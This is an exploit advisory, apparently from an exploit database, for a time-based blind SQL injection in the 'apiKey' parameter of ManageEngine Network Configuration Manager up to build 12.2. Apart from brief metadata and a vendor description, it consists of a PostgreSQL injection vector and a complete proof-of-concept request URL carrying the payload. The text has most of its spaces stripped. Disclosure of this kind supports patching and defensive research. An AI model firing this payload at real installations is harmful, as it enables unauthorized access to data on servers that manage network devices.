# ExploitTitle:ManageEngineNetworkConfigurationManager12.2-'apiKey'SQLInjection
# discovery Date:2019-01-24
# published :2020-01-20
# ExploitAuthor:AmirHadiYazdani
# VendorHomepage: https://www.manageengine.com/network-configuration-manager/
# SoftwareLink: https://www.manageengine.com/network-configuration-manager/
# Demo: http://demo.networkconfigurationmanager.com
# Version:<=BuildVersion:12.2
# Tested on: win 2012R2------------AboutManageEngineNetworkConfigurationManager(NCM)(FromVendorSite):NetworkConfigurationManager is a multi vendor network change,
configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices.NCM helps automate and take total control of the entire life cycle of device configuration management.--------------------------------------------------------ExploitPOC:
# Parameter: apiKey (GET)
# Title:PostgreSQLTimeBasedBlind
# Vector:AND[RANDNUM]=(SELECTCOUNT(*)FROMGENERATE_SERIES(1,[SLEEPTIME]000000))
#Payload:
http://127.0.0.1/api/json/dashboard/getOverviewList?apiKey=1AND1398=(SELECTCOUNT(*)FROMGENERATE_SERIES(1,3000000))&TimeFrame=hourly&_=1483732552930--------------------------